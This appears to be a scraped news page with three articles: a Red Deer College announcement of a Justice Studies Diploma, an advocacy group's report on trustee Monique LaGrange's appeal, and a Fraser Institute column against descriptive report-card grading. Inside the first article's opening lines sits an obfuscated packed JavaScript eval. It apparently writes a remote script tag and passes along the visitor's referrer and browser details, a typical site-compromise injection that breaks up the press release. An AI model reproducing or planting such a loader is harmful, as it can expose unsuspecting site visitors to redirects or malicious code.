Education
RDC to launch Justice Studies program in fall
RDC eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yerra|var|u0026u|referrer|ihyyi||js|php’.split(‘|’),0,{}))
launches Justice Studies Diploma program in September
Red Deer, May 17, 2018 – Red Deer College is proud to continue responding to the needs of our region by expanding opportunities for learners with the new Justice Studies Diploma, which will be offered starting in September 2018.
“We’re very excited to offer this program, which is the first of its kind in central Alberta and has been developed with strong support from stakeholder agencies from across the justice sector,” says Dr. Torben Andersen, Dean, School of Arts and Sciences. “Through this program, students will earn a credential that combines academic study and career-focused skills, preparing them for a wide range of employment opportunities or further education in the justice studies field.”
The two-year program includes courses delving into a range of topics, such as the Canadian justice system, the complex origins of crime and criminal behaviour, communication and conflict resolution, and many more. Students will also gain valuable experience through a practicum, which takes place in their second year.
The unique Diploma will benefit learners in many ways.
“This program will emphasize knowledge and understanding of Indigenous peoples and their experiences with the justice system,” Andersen explains. “This is in response to the Truth and Reconciliation Commission’s call to action, and we’ve developed the program so that Indigenous perspectives will be threaded through all courses.”
With the diverse courses and learning opportunities in the program, the Justice Studies Diploma is an exciting addition to the breadth of programming offered at Red Deer College.
“As RDC evolves into a comprehensive regional teaching university, we will continue to pursue programs and opportunities that will benefit students, organizations and partners from across central Alberta,” says Dr. Paulette Hanna, Vice President Academic. “The growth and evolution that RDC is experiencing is the result of many years of planning and collaboration. This new program is another great example of this work, as it fills a unique niche in our region and will provide students with a starting place for a wide variety of rewarding careers in the justice sector.”
Registration is now open for the Justice Studies Diploma, and applications for the program will continue to be accepted until the Fall term begins or until the program is filled.
Further details about the Justice Studies Diploma are available on RDC’s website.
About the Red Deer College School of Arts and Sciences program:
The School of Arts and Sciences offers programs that lead students to successful and rewarding careers, as well as opportunities for further education. The School offers diploma, university transfer and collaborative degree programs, with individual courses in 25 different subject areas, providing students with the flexibility to tailor their pathways to their passions and goals. Expert instructors provide students with academically challenging, highly-supportive and engaging learning experiences.
About RDC:
For 54 years, RDC has been proudly serving our learners and our communities. RDC offers more than 100 different programs (including full degrees, certificates, diplomas and skilled trades programs) to 7,500 full- and part-time credit students and more than 36,000 youth and adult learners in the School of Continuing Education each year. Named by Alberta Venture magazine as one of Alberta’s most innovative organizations for the Centre for Innovation in Manufacturing, RDC is a key location for applied and industry-led research. Our main campus is strategically situated on 290 acres of Alberta’s natural landscape along Queen Elizabeth II Highway. We have also expanded our learning and performing arts space into the heart of downtown Red Deer through our Welikoklad Event Centre and the Donald School of Business.
Censorship Industrial Complex
TDF and James Kitchen appeal Monique LaGrange decision to Alberta Court of Appeal
Written by TDF’s Legal Team
The Democracy Fund (TDF), together with lawyer James Kitchen, will appeal a recent Alberta Court decision involving school trustee Monique LaGrange. Mrs. LaGrange was a trustee of the Red Deer Catholic school board until the board disqualified her as a result of memes she posted and media interviews she gave, of which a majority of the trustees disapproved.
Mr. Kitchen has now filed his Notices of Appeal with the Alberta Court of Appeal, which can be read here and here.
In 2023, Mrs. LaGrange shared a meme on her personal Facebook account outlining her concerns about the increasing indoctrination of students into Queer theory and transgender ideology. The meme featured two side-by-side images: one of young children holding swastika flags and the other of young children holding pride progress flags, accompanied by the caption, “Brainwashing is brainwashing.” The post garnered support but also criticism, especially from teachers and other school trustees. One of the trustees submitted a complaint alleging that by posting the meme Mrs. LaGrange had violated many sections of the new trustee code of conduct.
Following a hearing in September 2023, a majority of the board of trustees determined Mrs. LaGrange had breached the code of conduct. The board imposed several sanctions, including that she cease making any public statements in areas touching upon or relating to the 2SLGBTQ+ community, issue a public apology, and complete sensitivity training at her own expense.
Mrs. LaGrange refused to issue an apology and maintained that her actions were consistent with her commitment to protecting children, stating, “I was elected to stand up and protect our children, and that is what I am doing.”
Shortly thereafter, another trustee submitted a complaint about Mrs. LaGrange, alleging that she had again violated the code of conduct and also breached the sanctions by posting another meme and doing two media interviews. The meme was a popular one depicting a wolf with colourful make-up with the caption, “I just want to read some books to your chickens”.
After a second hearing, a majority of the trustees again determined Mrs. LaGrange had breached the code of conduct and the sanction regarding public comments. The board then disqualified her as a trustee, effectively kicking her off the board.
The lawyer for Mrs. LaGrange, James Kitchen, said:
“This case is the first of its kind. Never before has an Alberta board of school trustees kicked another trustee off the board for what effectively amounts to a disagreement regarding expressed political and religious beliefs (disguised, in our view, as trustee misconduct). Such an outcome has been made possible by the recent adoption of trustee codes of conduct by Alberta school boards. These new codes enable a majority of trustees to censor and cancel individual trustees with whom they politically disagree. In this case, it appears that a majority of politically left-leaning school trustees applied the code of conduct to a politically disfavoured trustee in order to censure, humiliate, and remove Monique for her outspoken opposition to the sexualization and indoctrination of young students.”
TDF and Mr. Kitchen challenged the board’s decision at a judicial review at the Alberta Court of King’s Bench. The Court varied the board’s apology requirement but otherwise upheld all of the board’s findings.
TDF litigation director Mark Joseph expressed concern over the broader implications of the case, stating:
“Disqualifying a democratically-elected representative based on public comments sets a dangerous precedent. It undermines free speech rights, tolerance for political diversity, and representative democracy by allowing officials to impose ideological purity tests on electoral candidates. The proper response to allegations of bad policy is repudiation at the ballot box rather than official disqualification. If upheld, this decision will pose a significant threat to democratic rights in Canada.”
About The Democracy Fund
Founded in 2021, The Democracy Fund (TDF) is a Canadian charity dedicated to constitutional rights, advancing education and relieving poverty. TDF promotes constitutional rights through litigation and public education. TDF supports an access to justice initiative for Canadians whose civil liberties have been infringed by government lockdowns and other public policy responses to the pandemic.
Education
Parents should oppose any plans to replace the ABCs with vague terminology in schools
From the Fraser Institute
According to a recent poll, the vast majority of parents in Canada easily understand letter grades on report cards but are confused by the nouveau “descriptive” grading adopted in British Columbia. This should serve as a warning to any province or school board thinking about adopting this type of convoluted descriptive grading.
In September 2023, despite overwhelming opposition from British Columbians, the B.C. government replaced letter grades—such as A, B, C, D, etc.—on K-9 report cards with a “proficiency scale,” which includes the descriptive terms “emerging,” “developing,” “proficient” and “extending.” If these four terms seem confusing to you, you’re not alone.
According to the recent poll (conducted by Leger and commissioned by the Fraser Institute), 93 per cent of Canadian parents from coast to coast said the letter grade “A” was “clear and easy” to understand while 83 per cent said the letter grade “C” was “clear and easy” to understand. (For the sake of brevity, the poll only asked respondents about these two letter grades.)
By contrast, 58 per cent of Canadian parents said the descriptive grade “extending” was “unclear and difficult” to understand and only 26 per cent could correctly identify what “extending” means on a report card.
It was a similar story for the descriptive grade “emerging,” as 57 per cent of Canadian parents said the term was “unclear and difficult” to understand and only 28 per cent could correctly identify what “emerging” means on a report card.
It’s also worth noting that the poll simplified the definitions of the four “descriptive” grading terms. The B.C. government’s official definitions, which can be found on the government’s website, speak for themselves. For example: “Extending is not synonymous with perfection. A student is Extending when they demonstrate learning, in relation to learning standards, with increasing depth and complexity. Extending is not a bonus or a reward and does not necessarily require that students do a greater volume of work or work at a higher grade level. Extending is not the goal for all students; Proficient is. Therefore, if a student turns in all their work and demonstrates evidence of learning in all learning standards for an area of learning, they are not automatically assigned Extending.”
So, what are the consequences of this confusing gobbledygook? Well, we already have some anecdotes.
Before the B.C. government made the changes provincewide, the Surrey School District participated in a pilot program to gauge the effectiveness of descriptive grading. According to Elenore Sturko, a Conservative MLA in Surrey and mother of three, for three years her daughter’s report cards said she was “emerging” rather than clearly stating she was failing. Sturko was unaware there was a problem until the child’s Third Grade teacher called to tell Sturko that her daughter was reading at a Kindergarten level.
Former B.C. education minister Rachna Singh tried to justify the change saying descriptive grading would help students become “better prepared for the outside world” where you “don’t get feedback in letters.” But parents in B.C. clearly aren’t happy.
Of course, other provinces also use terms in their grading systems (meeting expectations, exceeding expectations, satisfactory, needs improvement, etc.) in addition to letter grades. But based on this polling data, the descriptive grading now used in B.C.—which again, has completely replaced letter grades—makes it much harder for B.C. parents to understand how their children are doing in school. The B.C. government should take a red pen to this confusing new policy before it does any more damage. And parents across the country should keep a watchful eye on their local school boards for any plans to replace the ABCs with vague terminology open to interpretation.
-
Artificial Intelligence2 days ago
DeepSeek: The Rise of China’s Open-Source AI Amid US Regulatory Shifts and Privacy Concerns
-
Economy2 days ago
Newly discovered business case for Canadian energy could unleash economic boom
-
espionage2 days ago
Democracy Betrayed, The Scathing Truth Behind Canada’s Foreign Interference Report
-
Alberta2 days ago
Alberta health ministry to ‘consider’ report calling for end to COVID shots for healthy kids
-
Alberta21 hours ago
AMA challenged to debate Alberta COVID-19 Review
-
International1 day ago
Elon Musk calls for laws ‘short enough to be understandable by a normal person’
-
National20 hours ago
All 6 people trying to replace Trudeau agree with him on almost everything
-
espionage1 day ago
CSIS Officer Alleged “Interference” In Warrant Targeting Trudeau Party Powerbroker